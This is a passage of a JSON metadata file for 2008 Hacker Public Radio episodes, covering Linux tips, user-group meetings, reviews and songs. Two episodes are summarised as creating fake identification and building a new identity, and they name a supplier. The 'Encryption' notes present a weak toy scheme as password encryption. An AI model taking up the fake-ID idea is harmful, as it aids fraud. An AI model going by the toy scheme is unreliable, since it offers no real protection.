","hostid":99,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"lights,media,\"home automation\",asterix,integration,\"smart home\"","version":0,"downloads":1539,"valid":1}, {"id":183,"date":"2008-09-11","title":"UCLUG Sepetember meeting","duration":5575,"summary":"This is a recording of the Upstate Carolina Linux Users Group Meeting, with live coding.","notes":"UC Lug's September meeting","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"shellscript,bash,\"hidden options\",gmail,permissions","version":0,"downloads":1095,"valid":1}, {"id":184,"date":"2008-09-12","title":"License Pt1: GNU GPL v3","duration":1833,"summary":"The first part of a look at licenses","notes":"GNU website
\nGNU GPL Licenses
\nShow Notes
\nEben Moglen - Licensing in the Web 2.0 Era
","hostid":7,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"licenses,licences,GPL","version":0,"downloads":1412,"valid":1}, {"id":185,"date":"2008-09-15","title":"3 tips","duration":463,"summary":"Ken gives us quick bash tips","notes":" More info
\nTip 1: while [ \"x\" = \"x\" ]; do ls -al ; sleep 5; done
\nTip 2: sox in.mp3 out.ogg tempo 1.5
\nTip 3: tar -cf - . | ( cd /media/backupdisk; tar -xvf - )
","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"sox,sleep,tar","version":0,"downloads":1821,"valid":1}, {"id":186,"date":"2008-09-16","title":"Vulgar Esperantist part 1","duration":1473,"summary":"In this episode we talk about Esperanto; this is a first introduction.","notes":"klaatu's first part in his \"Vulgar Esperantist\" series done for the LinguistChat web series","hostid":78,"series":21,"explicit":0,"license":"CC-BY-NC-SA","tags":"introduction,\"second language\",invented,learn,endings,verbs,adjectives","version":0,"downloads":1653,"valid":1}, {"id":187,"date":"2008-09-17","title":"Maemo","duration":2039,"summary":"In this discussion we talk about Memo, how it works and what it is.","notes":"riddlebox and Jza talk about Maemo
","hostid":94,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"cohost,memo,history,nokia,embedded,linux,\"open source\",kernel","version":0,"downloads":1511,"valid":1}, {"id":188,"date":"2008-09-18","title":"Expressive Programming Part 2 Perfection vs Production","duration":1197,"summary":"Part 2 of the Expressive Programming series","notes":"Part 2 of uberchicks expressive programming series.","hostid":95,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Expressive Programming","version":0,"downloads":3968,"valid":1}, {"id":189,"date":"2008-09-19","title":"Source Cast Part 2","duration":3524,"summary":"This is the SourceCast episode 2, a review of vista and general Linux talk.","notes":"original audio from sourcecast 4.5
\nsourcecast website
","hostid":97,"series":19,"explicit":1,"license":"CC-BY-NC-SA","tags":"vista,gmail,equafax,ubuntu,windows,security,\"user access control\",hybernation,login","version":0,"downloads":1325,"valid":1}, {"id":190,"date":"2008-09-22","title":"Media Centers for Linux","duration":4145,"summary":"We talk about different media centers available for Linux.","notes":"monsterb, klaatu, and Peter64 talk about Media Centers for Linux.
Boxee,  Elisa,  Entertainer,  Freevo,  GeexBox,  LinuxMCE,  Miro,  MythTV,  XBMC","hostid":99,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"webapp,mythtv,mythubuntu,shepard,mandrake,alisa,media,tivo,divx","version":0,"downloads":1460,"valid":1}, {"id":191,"date":"2008-09-23","title":"EC Lug August 14 Meeting","duration":6025,"summary":"This is a recording of the Eau Claire Linux Users Group Meeting.","notes":"EC Lug August 14th Meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"recording,installation,mailserver,\"open source\",kde","version":0,"downloads":1977,"valid":1}, {"id":192,"date":"2008-09-24","title":"Linux User","duration":274,"summary":"I had an interesting idea, let's create many videos about what Linux Users do.","notes":"threethrity talks about promoting linux.","hostid":92,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"videos,youtube,idea,linux","version":0,"downloads":1993,"valid":1}, {"id":193,"date":"2008-09-25","title":"What is Free Software","duration":2184,"summary":"We talk about what free software is. We talk about the different things that make software free.","notes":"finux's talk from Software Freedom day","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"documentation,linux,\"source code\",firefox,liberation,freedom,scalability","version":0,"downloads":1484,"valid":1}, {"id":194,"date":"2008-09-26","title":"EC Lug September 25 meeting","duration":5514,"summary":"This is a recording of the Eau Claire Linux Users Group Meeting.","notes":"EC Lug September 25 meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"video drivers\",diversity,security,hacking,flash","version":0,"downloads":1234,"valid":1}, {"id":195,"date":"2008-09-29","title":"Sourcecast Ep 3","duration":2872,"summary":"This is the SourceCast episode 3, a review of fedora and general Linux talk.","notes":"original audio from sourcecast ep 5
","hostid":97,"series":19,"explicit":1,"license":"CC-BY-NC-SA","tags":"comments,unstable,partition,installation,updates,drivers,review","version":0,"downloads":1424,"valid":1}, {"id":196,"date":"2008-09-30","title":"linux file managers","duration":1328,"summary":"Different subjects. How to plug a tire, file manager, linux CDs and what is my bag segment.","notes":"How to plug a tire, linux file managers, world's smallest linux distro, and what's in your bag?

\ntkdesk;

\nemelfm2;

\nvifm; and

\nslitaz.","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"car,mechanic,xfm,tkdesk,elfm,swifthas","version":0,"downloads":1998,"valid":1}, {"id":197,"date":"2008-10-01","title":"Vulgar Esperantist Part 2","duration":1201,"summary":"In this episode we talk about Esperanto; in this episode nouns.","notes":"klaatu continues his Vulgar Esperantist series","hostid":78,"series":21,"explicit":0,"license":"CC-BY-NC-SA","tags":"nouns,\"language difference\",infinitive,plurals,adjectives","version":0,"downloads":1575,"valid":1}, {"id":198,"date":"2008-10-02","title":"Installing Windows","duration":1233,"summary":"Talking about the experience of installing windows on a virtual environment.","notes":"xoke installs windows in virtual box","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Windows,Install,Virtual","version":0,"downloads":2237,"valid":1}, {"id":199,"date":"2008-10-03","title":"EC Lug October 2 meeting","duration":5740,"summary":"This is a recording of the Eau Claire Linux Users Group Meeting.","notes":"EC Lug October 2 meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"devices,raspberry,\"network application\",login,security,articles","version":0,"downloads":1410,"valid":1}, {"id":200,"date":"2008-10-06","title":"200th Episode Special","duration":320,"summary":"This episode has a lot of intros from different earlier shows of Hacker public radio.","notes":"Meet the Hosts of HPR ","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"summation,host,compilation","version":0,"downloads":9473,"valid":1}, {"id":201,"date":"2008-10-07","title":"phreaknic","duration":1350,"summary":"Interview talking about Phreaknic convention, what it all about and what you can do.","notes":"droops interviews skydog the lead organizer of phreaknic","hostid":1,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"convention,interview,meeting,tracks,introduction","version":0,"downloads":4100,"valid":1}, {"id":202,"date":"2008-10-08","title":"cpanel whitelisting","duration":1889,"summary":"CPanel is a control panel for web hosts. In this episode: how to create an allowlist for emails","notes":"\nDeepgeek talks about using cpanel, a common web front-end for budget\nwebhost accounts, to create spam-free mobile email via whitelisting.
\n\n companion article
","hostid":73,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"webhost,handle,\"mobile email\",\"cellphone provider\",webmail,yahoo,spammers","version":0,"downloads":1919,"valid":1}, {"id":203,"date":"2008-10-09","title":"Alpine: How to","duration":1647,"summary":"We talk about how to setup the email client alpine using IMAP.","notes":"

Klaatu talks about the virtues of the Alpine (or Pine) email client, how to set it up, special settings for using it with IMAP servers, how to configure the reply-to address correctly, and much more.

\n

Alpine Official Site\nPine Official Site\nOGG version

","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"alpine,imap,email,\"modify headers\",settings","version":0,"downloads":1539,"valid":1}, {"id":204,"date":"2008-10-10","title":"EC Lug October 9th meeting","duration":5759,"summary":"This is a recording of the Eau Claire Linux Users Group Meeting.","notes":"EC Lug October 9th meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"printers,\"zip drivers\",installation,\"face recognition\",firmware,\"music copyright\"","version":0,"downloads":1322,"valid":1}, {"id":205,"date":"2008-10-13","title":"Open Source for the Windows Addict","duration":3882,"summary":"This is a presentation from the Utah user group, talking about programs and what is copyrighted","notes":"Utah Lug Presentation
\n https://podcast.utos.org/
\n","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"copyright,ideas,community,documentation,\"open source\",visibility","version":0,"downloads":2077,"valid":1}, {"id":206,"date":"2008-10-14","title":"This Runs Linux","duration":575,"summary":"Ken's failed attempt to set up a site that promotes devices that run linux","notes":"ken fallon talks about thisrunslinux.org
\n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"promotion","version":0,"downloads":1885,"valid":1}, {"id":207,"date":"2008-10-15","title":"Vulgar Esperantist Part 3","duration":929,"summary":"In this episode we talk about Esperanto; in this episode vocabulary.","notes":"klaatu continues his Vulgar Esperantist series","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"resemblance,language,\"second language\",invented,learn","version":0,"downloads":1314,"valid":1}, {"id":208,"date":"2008-10-16","title":"Expressive Programming Part 3","duration":1251,"summary":"Part 3 of the Expressive Programming series","notes":"uberchick continues her expressive programming series","hostid":95,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Expressive Programming","version":0,"downloads":1323,"valid":1}, {"id":209,"date":"2008-10-17","title":"Speeding Up Database Development with GenORMous ","duration":3607,"summary":"Talking about bad ways to write SQL and how to improve performance and custom query.","notes":"Speeding Up Database Development with GenORMous by Brian Hawkins
\n
\nUtah Open source podcast found at https://podcast.utos.org/
","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"custom query\",performance,sql,graph,database","version":0,"downloads":1580,"valid":1}, {"id":210,"date":"2008-10-20","title":"SourceCast Episode 4","duration":2140,"summary":"Discussing the Foresight Linux distro, its positive aspects and shortcomings, in particular Conary","notes":"original audio from sourcecast ep 4\nfound at sourcecast.org ","hostid":97,"series":19,"explicit":1,"license":"CC-BY-NC-SA","tags":"distrohopping,linux,review","version":0,"downloads":1447,"valid":1}, {"id":211,"date":"2008-10-21","title":"Copy fight Vol 3","duration":615,"summary":"threethirty continues his copyfight series","notes":"threethirty continues his copyfight series\n\n","hostid":92,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"GPL,DRM,DMCA","version":0,"downloads":1524,"valid":1}, {"id":212,"date":"2008-10-22","title":" The Dark Art of Autotools","duration":3730,"summary":"John Jolly discusses Autotools at Utah Open Source Conference 2008","notes":" The Dark Art of Autotools by John Jolly
\n\nUtah open source podcast
\n https://podcast.utos.org/
","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"autotools,build,make","version":0,"downloads":1754,"valid":1}, {"id":213,"date":"2008-10-23","title":"Fav Podcasts","duration":3160,"summary":"Monsterb and Peter64 discuss what podcasts they listen to","notes":"monsterb and Peter64 talk about their favorite podcasts.
\nLinks:
\nmonsterb.org/Favorite Podcasts
\nmonsterb.org/Podcasts
\nPodiobooks.com
\nThe Linux Link","hostid":99,"series":75,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,podcasts,recommendation,listening","version":0,"downloads":2783,"valid":1}, {"id":214,"date":"2008-10-24","title":"EC Lug October 23 Meeting","duration":5101,"summary":"The October 23rd, 2008 Eau Claire Linux User Group meeting","notes":"EC Lug October 23rd Meeting \n\n","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,lug,meeting,tequila,media,compilers,circuits,pdf,advertising","version":0,"downloads":1796,"valid":1}, {"id":215,"date":"2008-10-27","title":"Guide to using linux Rainbow tables","duration":2109,"summary":"finux's student-hacker guide to using rainbow tables on Linux","notes":"finux's student-hacker guild to using linux rainbow tables","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,windows,cryptography,security,passwords,cracking","version":0,"downloads":1837,"valid":1}, {"id":216,"date":"2008-10-28","title":"What's in your toolkit part 1","duration":499,"summary":"A description of the gear threethirty carries around","notes":"threethirty talks about what he carries around in his backpack ","hostid":92,"series":23,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"what's in my bag\"","version":0,"downloads":1416,"valid":1}, {"id":217,"date":"2008-10-29","title":"Linux Media and Home Automation","duration":4228,"summary":"Brandon Beattie at Utah Open Source Conference 2008","notes":"Linux Media and Home Automation by Brandon Beattie
\n
\nUtah Open Source Podcast @ https://podcast.utos.org/
","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,security,media,automation","version":0,"downloads":1594,"valid":1}, {"id":218,"date":"2008-10-30","title":"Source Cast Ep 5","duration":3474,"summary":"Discussing Linux hardware support, distro upgrading and reviews","notes":"orginal audio from sourcecast 3.14\n\n","hostid":97,"series":19,"explicit":1,"license":"CC-BY-NC-SA","tags":"distrohopping,linux","version":0,"downloads":1806,"valid":1}, {"id":219,"date":"2008-10-31","title":"Halloween WebDAV howto","duration":243,"summary":"Dave Yates talks about the WebDAV protocol on an Apache server","notes":"WebDAV howto","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"WebDAV,Apache,server","version":0,"downloads":1854,"valid":1}, {"id":220,"date":"2008-11-03","title":"EC Lug October 30th Meeting","duration":5231,"summary":"The October 30th, 2008 Eau Claire Linux User Group meeting","notes":"EC Lug October 30th Meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"linux,lug,meeting,media,install","version":0,"downloads":1508,"valid":1}, {"id":221,"date":"2008-11-04","title":"Being Powerless","duration":566,"summary":"Xoke reflects on spending some time without electricity","notes":"xoke talks about being powerless","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"electricity,outdoors,disconnected","version":0,"downloads":2344,"valid":1}, {"id":222,"date":"2008-11-05","title":"Alpine GPG","duration":1739,"summary":"Klaatu explains how (and why) you can use Alpine with GNU Privacy Guard (GPG).","notes":"

For more info on PGP and GPG:
\nThe Bad Apples episode 2x04 ogg
\nThe Bad Apples episode 2x04 mp3
\nLinux Reality episode 47

\n\n

you can also download the OGG version of this episode.

","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"alpine,email,command-line,cli,encryption,privacy","version":0,"downloads":1573,"valid":1}, {"id":223,"date":"2008-11-06","title":"git","duration":1279,"summary":"Klaatu talks about how to set up, navigate within, commit, and push with git","notes":"

Klaatu talks about how to set up, navigate within, commit, and push with git. This is a beginner level howto that will also help you understand SVN and CVS.

\n\n

More information about git and similar apps can be found here:
\ngit.or.cz
\nkernel.org git tutorial
\nCVS, another versioning system
\nSubversion

\n\n

You can also download the ogg version of this episode.

","hostid":78,"series":81,"explicit":0,"license":"CC-BY-NC-SA","tags":"version control,cvs,subversion,svn,git","version":0,"downloads":1581,"valid":1}, {"id":224,"date":"2008-11-07","title":"Installing gwibber webkit","duration":502,"summary":"threethirty installs gwibber using webkit on Ubuntu","notes":"
\nInstalling gwibber webkit https://wiki.ubuntu.com/gwibber\n\nThis is a guide to install the gwibber micro-blogging client on Ubuntu 8.04\n\nFrom PPA\n\nCreate a file called /etc/apt/sources.list.d/gwibber.list. It should contain the gwibber PPA:\n\ndeb https://ppa.launchpad.net/gwibber-team/ubuntu hardy main\ndeb-src https://ppa.launchpad.net/gwibber-team/ubuntu hardy main\ndeb https://ppa.launchpad.net/stemp/ubuntu hardy main\n\nand then the Webkit PPA (you probably don't need it if you're on Intrepid):\n\ndeb https://ppa.launchpad.net/webkit-team/ubuntu hardy main\ndeb-src https://ppa.launchpad.net/webkit-team/ubuntu hardy main\n\n\nsudo apt-get install bzr subversion \nlibwebkit-1.0-1 libwebkit-dev python-webkitgtk\n build-essential autoconf automake libtool \nlibgtk2.0-dev python-dev python-gtk2 \npython-gtk2-dev libsexy2 libsexy-dev python-sexy\n libxslt1-dev python-cairo-dev python-simplejson \npython-egenix-mxdatetime\n\n\n            $ sudo apt-get update\n\n            $ svn checkout https://pywebkitgtk.googlecode.com/svn/trunk/ pywebkitgtk-read-only\n\n\n   7. Goto pywebkitgtk-read-only directory - Configure, compile and install pywebkitgtk.\n          *\n\n            $ . cd pywebkitgtk-read-only\n            $ ./autogen.sh --prefix=/usr/local\n            $ make\n            $ sudo make install\n\n   9. Download gwibber webkitui\n          *\n\n            $ cd ~\n            $ bzr branch lp:~segphault/gwibber/webkitui\n\n  10. Goto /webkitui directory to run gwibber\n          *\n\n            $ cd ~/webkitui\n            $ ./run\n\n  11. or install\n          *\n\n            sudo python setup.py install\n\n\n
","hostid":92,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"social networking\",gwibber,Ubuntu","version":0,"downloads":1330,"valid":1}, {"id":225,"date":"2008-11-10","title":"What's in my Toolkit part 2","duration":1614,"summary":"CyberCod tells what is in his toolkit","notes":"Cybercod talks about what's in his toolkit","hostid":91,"series":23,"explicit":1,"license":"CC-BY-NC-SA","tags":"\"motherboard tester\",\"linksys router\",\"leatherman multi-tool\",\"magnetic flashlight\",\"plastic tweezers\",\"hard drive adapter\",\"multi-card reader\",\"linux cd's\"","version":0,"downloads":2002,"valid":1}, {"id":226,"date":"2008-11-11","title":"EC Lug November 11th meeting","duration":5166,"summary":"The November 11th, 2008 Eau Claire Linux User Group meeting","notes":"EC Lug november 11th meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"wedding announcement,brewing,torrent,openSuse,Gentoo,HP printers,HP ink,mp3 player,Ipod,Rockbox,DRM,Blu-ray,mp3 bitrates,NES Emulator,ROMs,patents,video formats,Open Office,render farms","version":0,"downloads":1374,"valid":1}, {"id":227,"date":"2008-11-12","title":"Local Squid","duration":1194,"summary":"Ken explains how to install and run a local squid proxy","notes":"

\nThis month my HPR episode featured using a local squid proxy. You might want to to run your own proxy server to provide yourself with a secure web connection when you are out and about by tunneling your traffic over ssh. Another good reason is to find out which URLs your browser is going to. On some sites URLs are deliberately hidden or you may be interested in exactly where you are sending traffic to. All is explained.\n

\n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Squid,\"proxy server\"","version":0,"downloads":2077,"valid":1}, {"id":228,"date":"2008-11-13","title":"nokia","duration":740,"summary":"Klaatu talks about the Nokia n800","notes":"

Klaatu talks about setting up your Nokia N8*0 or N770 to be a robust computing platform, and the importance of doing so before you need it rather than waiting, like he does, until the last minute and scrambling to get all the packages you need installed. He concedes that he's failed to mention a lot of cool apps, so feel free to make suggestions in the comments.

\n\n

Nokia N-series Repository Site

\n\n

You can also download Klaatu's ogg version of this episode if you prefer ogg.

","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"nokia,n800,bash,ftp,ssh","version":0,"downloads":1610,"valid":1}, {"id":229,"date":"2008-11-14","title":"CopyFight Vol 4 - SFL Podcast","duration":2117,"summary":"threethirty introduces the Software Freedom Law Show podcast","notes":" https://softwarefreedom.org/podcast ","hostid":92,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"copyfight,Software Freedom Law Center,Software Freedom Conservancy,vi,emacs,GPL","version":0,"downloads":1936,"valid":1}, {"id":230,"date":"2008-11-17","title":"Expressive Programming 4: Escapism and Alternative Resources","duration":1175,"summary":"Part 4 of the Expressive Programming series","notes":"

UberChick continues her Expressive programming series

\n\n","hostid":95,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Expressive Programming","version":0,"downloads":4485,"valid":1}, {"id":231,"date":"2008-11-18","title":"All Songs considered 1: Cause I am Free","duration":286,"summary":"Chad sings","notes":"Cause I am Free by Chad from the linuxbasement","hostid":101,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"songs,life,freedom","version":0,"downloads":3105,"valid":1}, {"id":232,"date":"2008-11-19","title":"EC Lug November 13th Meeting","duration":5165,"summary":"The Nov. 13th, 2008 Eau Claire Linux User Group meeting","notes":"EC Lug November 13th Meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Kubuntu,regex coach,TiddlyWiki,FSlint,servers,voting machines","version":0,"downloads":1430,"valid":1}, {"id":233,"date":"2008-11-20","title":"rox-filer","duration":659,"summary":"Deepgeek reviews \"rox-filer,\" a lightweight gui file manager","notes":"Lightweight apps, Deepgeek reviews \"rox-filer,\" a lightweight gui\nfile manager.
\n\nAn excellent jumping off point on the web is this link...
\n https://polishlinux.org/apps/window-managers/rox-filer-a-lightweight-file-manager-that-simply-rocks/ \n\nThe add-on for an integrated trash can can be found here...
\n https://www.skepticats.com/rox/trash.html ","hostid":73,"series":11,"explicit":1,"license":"CC-BY-NC-SA","tags":"rox-filer,file manager","version":0,"downloads":5767,"valid":1}, {"id":234,"date":"2008-11-21","title":"Creating Identification Cards Part 1","duration":1556,"summary":"Creating fake identifications - part 1","notes":"

Get yer supplies at Poison ID .
A simple laminator example is the ABC HeatSeal

\n

Download the ogg version if you are a codec snob.

\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"fake identification,GIMP","version":0,"downloads":1504,"valid":1}, {"id":235,"date":"2008-11-24","title":"EC Lug November 20th Meeting","duration":527,"summary":"The Nov. 20th, 2008 Eau Claire Linux User Group meeting","notes":"EC Lug November 20th Meeting","hostid":93,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,printers,drivers","version":0,"downloads":1299,"valid":1}, {"id":236,"date":"2008-11-25","title":"UCLUG November 11th Meeting","duration":4855,"summary":"The Nov. 11th 2008 Carolina Linux User Group Meeting","notes":"Dr. Richard Hipp \nD. Richard Hipp, creator of SQLite and CVSTrac

\n\nThis work is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 License ","hostid":77,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Southeast Linux Fest,freedom,free software,DE,accessibility","version":0,"downloads":1299,"valid":1}, {"id":237,"date":"2008-11-26","title":"Creating Identification Cards Part 2","duration":987,"summary":"Creating fake identifications - part 2","notes":"

Klaatu talks about using the phone company as a leaping-off point toward a new You! Also, gift cards and spreading the word about your new identity.

\n

Get Klaatu's ogg version of this show if you hatez the MPEG.

\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"fake identification,gift card,utility companies,proof of existence,credit check","version":0,"downloads":1449,"valid":1}, {"id":238,"date":"2008-11-27","title":"All Songs Considered 2: Linux Johnny Appleseed and me","duration":246,"summary":"Chad sings","notes":" Linux Johnny Appleseed and me by Chad from the linuxbasement.com ","hostid":101,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"songs,life,linux,apple tree","version":0,"downloads":2500,"valid":1}, {"id":239,"date":"2008-11-28","title":"SourceCast Ep 6","duration":2419,"summary":"This is the SourceCast episode 6, a review of specific distros and general Linux talk.","notes":"original Audio from Sourcecast ep 5.5 @ sourcecast.org ","hostid":97,"series":19,"explicit":1,"license":"CC-BY-NC-SA","tags":"distrohopping,linux.Valve,applications","version":0,"downloads":1390,"valid":1}, {"id":240,"date":"2008-12-01","title":"All Songs considered 3: The Php Song","duration":224,"summary":"Chad sings","notes":"Chad sings about php ","hostid":101,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"songs,php","version":0,"downloads":1521,"valid":1}, {"id":241,"date":"2008-12-02","title":"What I learned from Oggify ","duration":3662,"summary":"Utah Open Source Conference - What I learned from Oggify","notes":"What I learned from Oggify by Scott Paul Robertson","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,ogg,script,version control","version":0,"downloads":1255,"valid":1}, {"id":242,"date":"2008-12-03","title":"Open Source in Government Panel Discussion","duration":4044,"summary":"A panel discussion on Open Source in Government","notes":"Open Source in Government Panel Discussion moderated by Jason Hall","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"open source,government","version":0,"downloads":3270,"valid":1}, {"id":243,"date":"2008-12-04","title":"All Songs Considered 4 Special Piece of Hate","duration":283,"summary":"Chad sings","notes":"Special Piece of Hate by Chad ","hostid":101,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"songs,annoyances,Windows","version":0,"downloads":1401,"valid":1}, {"id":244,"date":"2008-12-05","title":"Enlightment","duration":787,"summary":"Klaatu reviews the Enlightenment desktop","notes":"

Klaatu hijacks deepgeek's \"Lightweight App\" series and discusses one of his favourite lightweight desktop environments.

\n

You can also choose to download Klaatu's ogg version of this episode.

","hostid":78,"series":11,"explicit":0,"license":"CC-BY-NC-SA","tags":"Enlightenment desktop","version":0,"downloads":2379,"valid":1}, {"id":245,"date":"2008-12-08","title":"Icewm","duration":2300,"summary":"Deepgeek reviews the IceWM lightweight window manager","notes":"Deepgeek reviews \"Icewm,\" the \"cool\" window manager with an alias,\nA.K.A., \"The imitator.\" Then Deepgeek goes on to show the solution to\na technical problem with it, which is running unsupported WindowMaker\nDockapps on it.
\n
\nCompanion article can be found at https://deepgeek.us/icewm
\nAn ogg audio version can be found there also.","hostid":73,"series":11,"explicit":1,"license":"CC-BY-NC-SA","tags":"Icewm,window manager,dock apps","version":0,"downloads":2463,"valid":1}, {"id":246,"date":"2008-12-09","title":"Whats in My Toolkit Part 3","duration":795,"summary":"Items dwick carries in his bag.","notes":"dwick describes what's in his toolkit","hostid":102,"series":23,"explicit":1,"license":"CC-BY-NC-SA","tags":"Laptop backpack,Maxell headphones,Creative Zen Nano Plus mp3 player,harmonica,USB sticks,compact umbrella,mini mouse,ethernet cable,Bamboo pen tablet,Gentoo CD,Gparted live CD,portable speaker","version":0,"downloads":2238,"valid":1}, {"id":247,"date":"2008-12-10","title":"Voice Over IP for fun and profit","duration":4043,"summary":"Utah Open Source Conference - Voice over IP talk","notes":"Chris Cameron will show how to setup a voice over IP phone system from beginning to end. Using open source software we will explore how simple it is to have a high end phone system running in little time and on commodity hardware. We will take a computer and some inexpensive phones and install and configure the system through the presentation. Using web based administration tools to easily configure an upstream Voice Over IP trunk and make and receive calls. original audio ","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,VOIP,SIP,Trixbox,PBX,Asterisk","version":0,"downloads":1820,"valid":1}, {"id":248,"date":"2008-12-11","title":"Cross Stitching with Morgellon","duration":1099,"summary":"Morgellon cross-stitches electronics","notes":"Cross Stitching with Morgellon o.O ...wtF!?","hostid":25,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"cross stitching,electronics,Arduino","version":0,"downloads":1573,"valid":1}, {"id":249,"date":"2008-12-12","title":"Puppy 411","duration":1805,"summary":"Roadrunner reviews Puppy linux","notes":"\n\n \nGetting Compiling Working in Puppy
\n\n\n Creating a Pet Package
\n\n \nPuppy Custom Re-Spins
\n\n\n\nPuppy Custom Version for the EEE PC
","hostid":103,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Redhat 9,WinModem,Puppy Linux,rox-filer,AbiWord,Flash 9","version":0,"downloads":1448,"valid":1}, {"id":250,"date":"2008-12-15","title":"What Ogg Player","duration":751,"summary":"Ken updates the firmware on his Samsung YP-U3","notes":"

\nSadly the player has fallen apart after much long service\n

\n\n\n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"ogg player,solid state,DRM,firmware,USB mass storage device","version":0,"downloads":2138,"valid":1}, {"id":251,"date":"2008-12-16","title":"All Songs Considered 4 Livin With a Geek","duration":291,"summary":"Another song by Chad from the Linux Basement","notes":"Another song by Chad from the Linux Basement
","hostid":101,"series":22,"explicit":1,"license":"CC-BY-NC-SA","tags":"songs,techie,geek,sci-fi","version":0,"downloads":1435,"valid":1}, {"id":252,"date":"2008-12-17","title":"Google App Engine 101","duration":1822,"summary":"Utah Open Source Conference - Google App Engine 101","notes":"oogle launched the App Engine service earlier this year to immense interest from the web development community. App Engine allows running applications on Google infrastructure, including BigTable, Google’s non-relational, massively scalable database. App Engine is appealing both at the low end, where small shops don’t want to have to deal with hardware procurement and systems administration, and at the high end, where the kind of “instant scaling” App Engine promises to deal with bursty traffic is the holy grail of infrastructure planning.","hostid":100,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux,Django,database","version":0,"downloads":1611,"valid":1}, {"id":253,"date":"2008-12-18","title":"Encryption","duration":1104,"summary":"Xoke talks about types of encryption","notes":"
\nThree Prime Numbers: 2, 3 and 5.\nI will call them A, B and C so A=2, B=3 and C=5\nWorking through x as the current position, \nand i being the unencrypted password and j being the encrypted as an array,\n so i[x] is the 'current' position we get:\n\nj[x] = ((j[x-1] + i[x] + A) * B ) MOD C\n\nThe password example I give is:\n\nEncrypting 123\n\n1 (unencrypted password) + 2 (Prime A) = 3\n3 * 3 (Prime B) = 9\n9 MOD 5 (Prime C) = 4\n\n4 (previous encrypted) + 2 (current unencrypted) + 2 (Prime A) = 8\n8 * 3 (Prime B) = 24\n24 MOD 5 (Prime C) = 4\n\n4 (previous encrypted) + 3 (current unencrypted) + 2 (Prime A) = 9\n9 * 3 (Prime C) = 27\n27 MOD 5 (Prime C) = 2\n\nSo the encrypted password is 442\n
","hostid":79,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Security,Encryption","version":0,"downloads":2189,"valid":1}, {"id":254,"date":"2008-12-19","title":"Expressive Programming Ep 5","duration":2075,"summary":"Part 5 of the Expressive Programming series","notes":"Episode 5 of uberchicks Expressive Programming series","hostid":95,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Expressive Programming","version":0,"downloads":2075,"valid":1}, {"id":255,"date":"2008-12-22","title":"Pmount","duration":477,"summary":"Using the pmount tool to mount hot pluggable media as a normal user.","notes":"The glories of pmount - allowing you to mount arbitrary hotpluggable devices as a normal user. \n\n
    \n
  • Pmount home page
  • \n
  • See your distribution repository for the file
  • \n
